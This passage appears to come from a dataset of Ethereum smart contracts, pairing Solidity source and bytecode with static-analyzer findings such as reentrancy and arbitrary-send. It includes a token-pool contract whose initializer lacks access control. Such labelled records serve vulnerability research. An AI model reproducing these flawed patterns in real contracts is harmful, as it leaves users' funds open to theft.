function setBurnFee(uint256 amount) external onlyOwner {
_burnFee = amount;
}
}
|
0x6080604052600436106101f25760003560e01c80636fc3eaec1161010d5780638da5cb5b116100a0578063a9059cbb1161006f578063a9059cbb14610596578063c5528490146105b6578063dd62ed3e146105d6578063ea1644d51461061c578063f2fde38b1461063c57600080fd5b80638da5cb5b1461051d5780638f9a55c01461053b57806395d89b41146105515780639e78fb4f1461058157600080fd5b8063790ca413116100dc578063790ca413146104bc5780637c519ffb146104d25780637d1db4a5146104e7578063881dce60146104fd57600080fd5b80636fc3eaec1461045257806370a0823114610467578063715018a61461048757806374010ece1461049c57600080fd5b80632fd689e31161018557806349bd5a5e1161015457806349bd5a5e146103d25780634bf2c7c9146103f25780635d098b38146104125780636d8aa8f81461043257600080fd5b80632fd689e314610360578063313ce5671461037657806333251a0b1461039257806338eea22d146103b257600080fd5b806318160ddd116101c157806318160ddd146102e257806323b872dd1461030857806327c8f8351461032857806328bb665a1461033e57600080fd5b806306fdde03146101fe578063095ea7b3146102415780630f3a325f146102715780631694505e146102aa57600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b506040805180820190915260088152670aec2d8d8cae840b60c31b60208201525b6040516102389190611f97565b60405180910390f35b34801561024d57600080fd5b5061026161025c366004611e42565b61065c565b6040519015158152602001610238565b34801561027d57600080fd5b5061026161028c366004611d8e565b6001600160a01b031660009081526009602052604090205460ff1690565b3480156102b657600080fd5b506016546102ca906001600160a01b031681565b6040516001600160a01b039091168152602001610238565b3480156102ee57600080fd5b50683635c9adc5dea000005b604051908152602001610238565b34801561031457600080fd5b50610261610323366004611e01565b610673565b34801561033457600080fd5b506102ca61dead81565b34801561034a57600080fd5b5061035e610359366004611e6e565b6106dc565b005b34801561036c57600080fd5b506102fa601a5481565b34801561038257600080fd5b5060405160098152602001610238565b34801561039e57600080fd5b5061035e6103ad366004611d8e565b61077b565b3480156103be57600080fd5b5061035e6103cd366004611f75565b6107ea565b3480156103de57600080fd5b506017546102ca906001600160a01b031681565b3480156103fe57600080fd5b5061035e61040d366004611f5c565b61083b565b34801561041e57600080fd5b5061035e61042d366004611d8e565b61086a565b34801561043e57600080fd5b5061035e61044d366004611f3a565b6108c4565b34801561045e57600080fd5b5061035e61090c565b34801561047357600080fd5b506102fa610482366004611d8e565b610936565b34801561049357600080fd5b5061035e610958565b3480156104a857600080fd5b5061035e6104b7366004611f5c565b6109cc565b3480156104c857600080fd5b506102fa600a5481565b3480156104de57600080fd5b5061035e610a10565b3480156104f357600080fd5b506102fa60185481565b34801561050957600080fd5b5061035e610518366004611f5c565b610a6a565b34801561052957600080fd5b506000546001600160a01b03166102ca565b34801561054757600080fd5b506102fa60195481565b34801561055d57600080fd5b506040805180820190915260078152660ae8298988aa8b60cb1b602082015261022b565b34801561058d57600080fd5b5061035e610ae6565b3480156105a257600080fd5b506102616105b1366004611e42565b610ccb565b3480156105c257600080fd5b5061035e6105d1366004611f75565b610cd8565b3480156105e257600080fd5b506102fa6105f1366004611dc8565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561062857600080fd5b5061035e610637366004611f5c565b610d29565b34801561064857600080fd5b5061035e610657366004611d8e565b610d67565b6000610669338484610e51565b5060015b92915050565b6000610680848484610f75565b6106d284336106cd8560405180606001604052806028815260200161219c602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190611621565b610e51565b5060019392505050565b6000546001600160a01b0316331461070f5760405162461bcd60e51b815260040161070690611fec565b60405180910390fd5b60005b8151811015610777576001600960008484815181106107335761073361215a565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061076f81612129565b915050610712565b5050565b6000546001600160a01b031633146107a55760405162461bcd60e51b815260040161070690611fec565b6001600160a01b03811660009081526009602052604090205460ff16156107e7576001600160a01b0381166000908152600960205260409020805460ff191690555b50565b6000546001600160a01b031633146108145760405162461bcd60e51b815260040161070690611fec565b600182111561082257600080fd5b600181111561083057600080fd5b600b91909155600d55565b6000546001600160a01b031633146108655760405162461bcd60e51b815260040161070690611fec565b601155565b6015546001600160a01b0316336001600160a01b03161461088a57600080fd5b601580546001600160a01b039092166001600160a01b0319909216821790556000908152600660205260409020805460ff19166001179055565b6000546001600160a01b031633146108ee5760405162461bcd60e51b815260040161070690611fec565b60178054911515600160b01b0260ff60b01b19909216919091179055565b6015546001600160a01b0316336001600160a01b03161461092c57600080fd5b476107e78161165b565b6001600160a01b03811660009081526002602052604081205461066d90611695565b6000546001600160a01b031633146109825760405162461bcd60e51b815260040161070690611fec565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109f65760405162461bcd60e51b815260040161070690611fec565b674563918244f40000811015610a0b57600080fd5b601855565b6000546001600160a01b03163314610a3a5760405162461bcd60e51b815260040161070690611fec565b601754600160a01b900460ff1615610a5157600080fd5b6017805460ff60a01b1916600160a01b17905542600a55565b6015546001600160a01b0316336001600160a01b031614610a8a57600080fd5b610a9330610936565b8111158015610aa25750600081115b610add5760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b6044820152606401610706565b6107e781611719565b6000546001600160a01b03163314610b105760405162461bcd60e51b815260040161070690611fec565b601680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b158015610b7057600080fd5b505afa158015610b84573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ba89190611dab565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610bf057600080fd5b505afa158015610c04573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c289190611dab565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610c7057600080fd5b505af1158015610c84573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ca89190611dab565b601780546001600160a01b0319166001600160a01b039290921691909117905550565b6000610669338484610f75565b6000546001600160a01b03163314610d025760405162461bcd60e51b815260040161070690611fec565b600d821115610d1057600080fd5b600d811115610d1e57600080fd5b600c91909155600e55565b6000546001600160a01b03163314610d535760405162461bcd60e51b815260040161070690611fec565b601954811015610d6257600080fd5b601955565b6000546001600160a01b03163314610d915760405162461bcd60e51b815260040161070690611fec565b6001600160a01b038116610df65760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610706565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610eb35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610706565b6001600160a01b038216610f145760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610706565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610fd95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610706565b6001600160a01b03821661103b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610706565b6000811161109d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610706565b6001600160a01b03821660009081526009602052604090205460ff16156110d65760405162461bcd60e51b815260040161070690612021565b6001600160a01b03831660009081526009602052604090205460ff161561110f5760405162461bcd60e51b815260040161070690612021565b3360009081526009602052604090205460ff161561113f5760405162461bcd60e51b815260040161070690612021565b6000546001600160a01b0384811691161480159061116b57506000546001600160a01b03838116911614155b156114cb57601754600160a01b900460ff166111c95760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642100000000000000006044820152606401610706565b6017546001600160a01b0383811691161480156111f457506016546001600160a01b03848116911614155b156112a6576001600160a01b038216301480159061121b57506001600160a01b0383163014155b801561123557506015546001600160a01b03838116911614155b801561124f57506015546001600160a01b03848116911614155b156112a6576018548111156112a65760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610706565b6017546001600160a01b038381169116148015906112d257506015546001600160a01b03838116911614155b80156112e757506001600160a01b0382163014155b80156112fe57506001600160a01b03821661dead14155b156113c5576018548111156113555760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610706565b6019548161136284610936565b61136c91906120b9565b106113c55760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610706565b60006113d030610936565b601a5490915081118080156113ef5750601754600160a81b900460ff16155b801561140957506017546001600160a01b03868116911614155b801561141e5750601754600160b01b900460ff165b801561144357506001600160a01b03851660009081526006602052604090205460ff16155b801561146857506001600160a01b03841660009081526006602052604090205460ff16155b156114c857601154600090156114a3576114986064611492601154866118a290919063ffffffff16565b90611921565b90506114a381611963565b6114b56114b08285612112565b611719565b4780156114c5576114c54761165b565b50505b50505b6001600160a01b03831660009081526006602052604090205460019060ff168061150d57506001600160a01b03831660009081526006602052604090205460ff165b8061153f57506017546001600160a01b0385811691161480159061153f57506017546001600160a01b03848116911614155b1561154c5750600061160f565b6017546001600160a01b03858116911614801561157757506016546001600160a01b03848116911614155b156115d2576001600160a01b03831660009081526004602052604090204290819055600b54600f55600c54601055600a5414156115d2576001600160a01b0383166000908152600960205260409020805460ff191660011790555b6017546001600160a01b0384811691161480156115fd57506016546001600160a01b03858116911614155b1561160f57600d54600f55600e546010555b61161b84848484611970565b50505050565b600081848411156116455760405162461bcd60e51b81526004016107069190611f97565b5060006116528486612112565b95945050505050565b6015546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610777573d6000803e3d6000fd5b60006007548211156116fc5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610706565b60006117066119a4565b90506117128382611921565b9392505050565b6017805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106117615761176161215a565b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156117b557600080fd5b505afa1580156117c9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117ed9190611dab565b816001815181106118005761180061215a565b6001600160a01b0392831660209182029290920101526016546118269130911684610e51565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac9479061185f908590600090869030904290600401612048565b600060405180830381600087803b15801561187957600080fd5b505af115801561188d573d6000803e3d6000fd5b50506017805460ff60a81b1916905550505050565b6000826118b15750600061066d565b60006118bd83856120f3565b9050826118ca85836120d1565b146117125760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610706565b600061171283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506119c7565b6107e73061dead83610f75565b8061197d5761197d6119f5565b611988848484611a3a565b8061161b5761161b601254600f55601354601055601454601155565b60008060006119b1611b31565b90925090506119c08282611921565b9250505090565b600081836119e85760405162461bcd60e51b81526004016107069190611f97565b50600061165284866120d1565b600f54158015611a055750601054155b8015611a115750601154155b15611a1857565b600f805460125560108054601355601180546014556000928390559082905555565b600080600080600080611a4c87611b73565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611a7e9087611bd0565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611aad9086611c12565b6001600160a01b038916600090815260026020526040902055611acf81611c71565b611ad98483611cbb565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611b1e91815260200190565b60405180910390a3505050505050505050565b6007546000908190683635c9adc5dea00000611b4d8282611921565b821015611b6a57505060075492683635c9adc5dea0000092509050565b90939092509050565b6000806000806000806000806000611b908a600f54601054611cdf565b9250925092506000611ba06119a4565b90506000806000611bb38e878787611d2e565b919e509c509a509598509396509194505050505091939550919395565b600061171283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611621565b600080611c1f83856120b9565b9050838110156117125760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610706565b6000611c7b6119a4565b90506000611c8983836118a2565b30600090815260026020526040902054909150611ca69082611c12565b30600090815260026020526040902055505050565b600754611cc89083611bd0565b600755600854611cd89082611c12565b6008555050565b6000808080611cf3606461149289896118a2565b90506000611d0660646114928a896118a2565b90506000611d1e82611d188b86611bd0565b90611bd0565b9992985090965090945050505050565b6000808080611d3d88866118a2565b90506000611d4b88876118a2565b90506000611d5988886118a2565b90506000611d6b82611d188686611bd0565b939b939a50919850919650505050505050565b8035611d8981612186565b919050565b600060208284031215611da057600080fd5b813561171281612186565b600060208284031215611dbd57600080fd5b815161171281612186565b60008060408385031215611ddb57600080fd5b8235611de681612186565b91506020830135611df681612186565b809150509250929050565b600080600060608486031215611e1657600080fd5b8335611e2181612186565b92506020840135611e3181612186565b929592945050506040919091013590565b60008060408385031215611e5557600080fd5b8235611e6081612186565b946020939093013593505050565b60006020808385031215611e8157600080fd5b823567ffffffffffffffff80821115611e9957600080fd5b818501915085601f830112611ead57600080fd5b813581811115611ebf57611ebf612170565b8060051b604051601f19603f83011681018181108582111715611ee457611ee4612170565b604052828152858101935084860182860187018a1015611f0357600080fd5b600095505b83861015611f2d57611f1981611d7e565b855260019590950194938601938601611f08565b5098975050505050505050565b600060208284031215611f4c57600080fd5b8135801515811461171257600080fd5b600060208284031215611f6e57600080fd5b5035919050565b60008060408385031215611f8857600080fd5b50508035926020909101359150565b600060208083528351808285015260005b81811015611fc457858101830151858201604001528201611fa8565b81811115611fd6576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252600d908201526c53746f7020736e6970696e672160981b604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156120985784516001600160a01b031683529383019391830191600101612073565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156120cc576120cc612144565b500190565b6000826120ee57634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561210d5761210d612144565b500290565b60008282101561212457612124612144565b500390565b600060001982141561213d5761213d612144565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107e757600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220002db854e03432d5a764b2fadb9394447b662ca052ac5fad900ec0e2537d461464736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,457 |
0xb366f2c6233a2e98977112e551b4e4ec90ca762a
|
pragma solidity ^0.4.13;
contract IERC20 {
function balanceOf(
address whom
)
external
view
returns (uint);
function transfer(
address _to,
uint256 _value
)
external
returns (bool);
function transferFrom(
address _from,
address _to,
uint256 _value
)
external
returns (bool);
function approve(
address _spender,
uint256 _value
)
public
returns (bool);
function decimals()
external
view
returns (uint);
function symbol()
external
view
returns (string);
function name()
external
view
returns (string);
function freezeTransfers()
external;
function unfreezeTransfers()
external;
}
contract IStructuredStorage {
function setProxyLogicContractAndDeployer(address _proxyLogicContract, address _deployer) external;
function setProxyLogicContract(address _proxyLogicContract) external;
// *** Getter Methods ***
function getUint(bytes32 _key) external view returns(uint);
function getString(bytes32 _key) external view returns(string);
function getAddress(bytes32 _key) external view returns(address);
function getBytes(bytes32 _key) external view returns(bytes);
function getBool(bytes32 _key) external view returns(bool);
function getInt(bytes32 _key) external view returns(int);
function getBytes32(bytes32 _key) external view returns(bytes32);
// *** Getter Methods For Arrays ***
function getBytes32Array(bytes32 _key) external view returns (bytes32[]);
function getAddressArray(bytes32 _key) external view returns (address[]);
function getUintArray(bytes32 _key) external view returns (uint[]);
function getIntArray(bytes32 _key) external view returns (int[]);
function getBoolArray(bytes32 _key) external view returns (bool[]);
// *** Setter Methods ***
function setUint(bytes32 _key, uint _value) external;
function setString(bytes32 _key, string _value) external;
function setAddress(bytes32 _key, address _value) external;
function setBytes(bytes32 _key, bytes _value) external;
function setBool(bytes32 _key, bool _value) external;
function setInt(bytes32 _key, int _value) external;
function setBytes32(bytes32 _key, bytes32 _value) external;
// *** Setter Methods For Arrays ***
function setBytes32Array(bytes32 _key, bytes32[] _value) external;
function setAddressArray(bytes32 _key, address[] _value) external;
function setUintArray(bytes32 _key, uint[] _value) external;
function setIntArray(bytes32 _key, int[] _value) external;
function setBoolArray(bytes32 _key, bool[] _value) external;
// *** Delete Methods ***
function deleteUint(bytes32 _key) external;
function deleteString(bytes32 _key) external;
function deleteAddress(bytes32 _key) external;
function deleteBytes(bytes32 _key) external;
function deleteBool(bytes32 _key) external;
function deleteInt(bytes32 _key) external;
function deleteBytes32(bytes32 _key) external;
}
contract ITwoKeyAdmin {
function getDefaultIntegratorFeePercent() public view returns (uint);
function getDefaultNetworkTaxPercent() public view returns (uint);
function getTwoKeyRewardsReleaseDate() external view returns(uint);
function updateReceivedTokensAsModerator(uint amountOfTokens) public;
function updateReceivedTokensAsModeratorPPC(uint amountOfTokens, address campaignPlasma) public;
function addFeesCollectedInCurrency(string currency, uint amount) public payable;
function updateTokensReceivedFromDistributionFees(uint amountOfTokens) public;
}
contract ITwoKeyMaintainersRegistry {
function checkIsAddressMaintainer(address _sender) public view returns (bool);
function checkIsAddressCoreDev(address _sender) public view returns (bool);
function addMaintainers(address [] _maintainers) public;
function addCoreDevs(address [] _coreDevs) public;
function removeMaintainers(address [] _maintainers) public;
function removeCoreDevs(address [] _coreDevs) public;
}
contract ITwoKeySingletoneRegistryFetchAddress {
function getContractProxyAddress(string _contractName) public view returns (address);
function getNonUpgradableContractAddress(string contractName) public view returns (address);
function getLatestCampaignApprovedVersion(string campaignType) public view returns (string);
}
interface ITwoKeySingletonesRegistry {
/**
* @dev This event will be emitted every time a new proxy is created
* @param proxy representing the address of the proxy created
*/
event ProxyCreated(address proxy);
/**
* @dev This event will be emitted every time a new implementation is registered
* @param version representing the version name of the registered implementation
* @param implementation representing the address of the registered implementation
* @param contractName is the name of the contract we added new version
*/
event VersionAdded(string version, address implementation, string contractName);
/**
* @dev Registers a new version with its implementation address
* @param version representing the version name of the new implementation to be registered
* @param implementation representing the address of the new implementation to be registered
*/
function addVersion(string _contractName, string version, address implementation) public;
/**
* @dev Tells the address of the implementation for a given version
* @param _contractName is the name of the contract we're querying
* @param version to query the implementation of
* @return address of the implementation registered for the given version
*/
function getVersion(string _contractName, string version) public view returns (address);
}
contract ITwoKeyMPSNMiningPoolStorage is IStructuredStorage {
}
contract ITwoKeySingletonUtils {
address public TWO_KEY_SINGLETON_REGISTRY;
// Modifier to restrict method calls only to maintainers
modifier onlyMaintainer {
address twoKeyMaintainersRegistry = getAddressFromTwoKeySingletonRegistry("TwoKeyMaintainersRegistry");
require(ITwoKeyMaintainersRegistry(twoKeyMaintainersRegistry).checkIsAddressMaintainer(msg.sender));
_;
}
/**
* @notice Function to get any singleton contract proxy address from TwoKeySingletonRegistry contract
* @param contractName is the name of the contract we're looking for
*/
function getAddressFromTwoKeySingletonRegistry(
string contractName
)
internal
view
returns (address)
{
return ITwoKeySingletoneRegistryFetchAddress(TWO_KEY_SINGLETON_REGISTRY)
.getContractProxyAddress(contractName);
}
function getNonUpgradableContractAddressFromTwoKeySingletonRegistry(
string contractName
)
internal
view
returns (address)
{
return ITwoKeySingletoneRegistryFetchAddress(TWO_KEY_SINGLETON_REGISTRY)
.getNonUpgradableContractAddress(contractName);
}
}
contract UpgradeabilityStorage {
// Versions registry
ITwoKeySingletonesRegistry internal registry;
// Address of the current implementation
address internal _implementation;
/**
* @dev Tells the address of the current implementation
* @return address of the current implementation
*/
function implementation() public view returns (address) {
return _implementation;
}
}
contract Upgradeable is UpgradeabilityStorage {
/**
* @dev Validates the caller is the versions registry.
* @param sender representing the address deploying the initial behavior of the contract
*/
function initialize(address sender) public payable {
require(msg.sender == address(registry));
}
}
contract TokenPool is Upgradeable, ITwoKeySingletonUtils {
bool initialized = false;
string constant _twoKeyAdmin = "TwoKeyAdmin";
string constant _twoKeyEconomy = "TwoKeyEconomy";
modifier onlyTwoKeyAdmin {
address twoKeyAdmin = getAddressFromTwoKeySingletonRegistry(_twoKeyAdmin);
require(msg.sender == twoKeyAdmin);
_;
}
/**
* @notice Function to retrieve the balance of tokens on the contract
*/
function getContractBalance()
public
view
returns (uint)
{
address twoKeyEconomy = getNonUpgradableContractAddressFromTwoKeySingletonRegistry(_twoKeyEconomy);
return IERC20(twoKeyEconomy).balanceOf(address(this));
}
/**
* @notice Function to transfer tokens
*/
function transferTokens(
address receiver,
uint amount
)
internal
{
address twoKeyEconomy = getNonUpgradableContractAddressFromTwoKeySingletonRegistry(_twoKeyEconomy);
IERC20(twoKeyEconomy).transfer(receiver,amount);
}
}
contract TwoKeyMPSNMiningPool is TokenPool {
string constant _isAddressWhitelisted = "isAddressWhitelisted";
ITwoKeyMPSNMiningPoolStorage public PROXY_STORAGE_CONTRACT;
function setInitialParams(
address _twoKeySingletonesRegistry,
address _proxyStorage
)
public
{
require(initialized == false);
TWO_KEY_SINGLETON_REGISTRY = _twoKeySingletonesRegistry;
PROXY_STORAGE_CONTRACT = ITwoKeyMPSNMiningPoolStorage(_proxyStorage);
initialized = true;
}
/**
* @notice Modifier to restrict calls only to TwoKeyAdmin or
* some of whitelisted addresses inside this contract
*/
modifier onlyTwoKeyAdminOrWhitelistedAddress {
address twoKeyAdmin = getAddressFromTwoKeySingletonRegistry(_twoKeyAdmin);
require(msg.sender == twoKeyAdmin || isAddressWhitelisted(msg.sender));
_;
}
/**
* @notice Function which can only be called by TwoKeyAdmin contract
* to add new whitelisted addresses to the contract. Whitelisted address
* can send tokens out of this contract
* @param _newWhitelistedAddress is the new whitelisted address we want to add
*/
function addWhitelistedAddress(
address _newWhitelistedAddress
)
public
onlyTwoKeyAdmin
{
bytes32 keyHash = keccak256(_isAddressWhitelisted,_newWhitelistedAddress);
PROXY_STORAGE_CONTRACT.setBool(keyHash, true);
}
/**
* @notice Function which can only be called by TwoKeyAdmin contract
* to remove any whitelisted address from the contract.
* @param _addressToBeRemovedFromWhitelist is the new whitelisted address we want to remove
*/
function removeWhitelistedAddress(
address _addressToBeRemovedFromWhitelist
)
public
onlyTwoKeyAdmin
{
bytes32 keyHash = keccak256(_isAddressWhitelisted, _addressToBeRemovedFromWhitelist);
PROXY_STORAGE_CONTRACT.setBool(keyHash, false);
}
/**
* @notice Function to check if the selected address is whitelisted
* @param _address is the address we want to get this information
* @return result of address being whitelisted
*/
function isAddressWhitelisted(
address _address
)
public
view
returns (bool)
{
bytes32 keyHash = keccak256(_isAddressWhitelisted, _address);
return PROXY_STORAGE_CONTRACT.getBool(keyHash);
}
/**
* @notice Function to transfer tokens from this contract
* can be done only by TwoKeyAdmin or whitelisted address
* once rewards release date has passed
* @param _receiver is the address of tokens receiver
* @param _amount is the amount of tokens we want to transfer
*/
function transferTokensFromContract(
address _receiver,
uint _amount
)
onlyTwoKeyAdminOrWhitelistedAddress
{
address twoKeyAdmin = getAddressFromTwoKeySingletonRegistry(_twoKeyAdmin);
require(ITwoKeyAdmin(twoKeyAdmin).getTwoKeyRewardsReleaseDate() <= block.timestamp);
super.transferTokens(_receiver,_amount);
}
}
|
0x6080604052600436106100a4576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305dbe412146100a9578063105005a11461010c57806313f44d101461016357806329975b43146101be578063530cd5ab146102015780635c60da1b146102445780636f9fb98a1461029b5780638830afa0146102c6578063c4d66de81461031d578063d0973af814610353575b600080fd5b3480156100b557600080fd5b5061010a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506103a0565b005b34801561011857600080fd5b50610121610463565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561016f57600080fd5b506101a4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610489565b604051808215151515815260200191505060405180910390f35b3480156101ca57600080fd5b506101ff600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610645565b005b34801561020d57600080fd5b50610242600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610862565b005b34801561025057600080fd5b50610259610a7f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156102a757600080fd5b506102b0610aa9565b6040518082815260200191505060405180910390f35b3480156102d257600080fd5b506102db610bc8565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610351600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bee565b005b34801561035f57600080fd5b5061039e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c4c565b005b60001515600260149054906101000a900460ff1615151415156103c257600080fd5b81600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600260146101000a81548160ff0219169083151502179055505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806040805190810160405280601481526020017f69734164647265737357686974656c6973746564000000000000000000000000815250836040518083805190602001908083835b6020831015156104f857805182526020820191506020810190506020830392506104d3565b6001836020036101000a0380198251168184511680821785525050505050509050018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014019250505060405180910390209050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637ae1cfca826040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808260001916600019168152602001915050602060405180830381600087803b15801561060257600080fd5b505af1158015610616573d6000803e3d6000fd5b505050506040513d602081101561062c57600080fd5b8101908080519060200190929190505050915050919050565b6000806106866040805190810160405280600b81526020017f54776f4b657941646d696e000000000000000000000000000000000000000000815250610dd6565b90508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156106c257600080fd5b6040805190810160405280601481526020017f69734164647265737357686974656c6973746564000000000000000000000000815250836040518083805190602001908083835b60208310151561072e5780518252602082019150602081019050602083039250610709565b6001836020036101000a0380198251168184511680821785525050505050509050018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014019250505060405180910390209150600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663abfdcced8360016040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083600019166000191681526020018215151515815260200192505050600060405180830381600087803b15801561084557600080fd5b505af1158015610859573d6000803e3d6000fd5b50505050505050565b6000806108a36040805190810160405280600b81526020017f54776f4b657941646d696e000000000000000000000000000000000000000000815250610dd6565b90508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108df57600080fd5b6040805190810160405280601481526020017f69734164647265737357686974656c6973746564000000000000000000000000815250836040518083805190602001908083835b60208310151561094b5780518252602082019150602081019050602083039250610926565b6001836020036101000a0380198251168184511680821785525050505050509050018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014019250505060405180910390209150600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663abfdcced8360006040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083600019166000191681526020018215151515815260200192505050600060405180830381600087803b158015610a6257600080fd5b505af1158015610a76573d6000803e3d6000fd5b50505050505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600080610aea6040805190810160405280600d81526020017f54776f4b657945636f6e6f6d7900000000000000000000000000000000000000815250610f10565b90508073ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015610b8757600080fd5b505af1158015610b9b573d6000803e3d6000fd5b505050506040513d6020811015610bb157600080fd5b810190808051906020019092919050505091505090565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561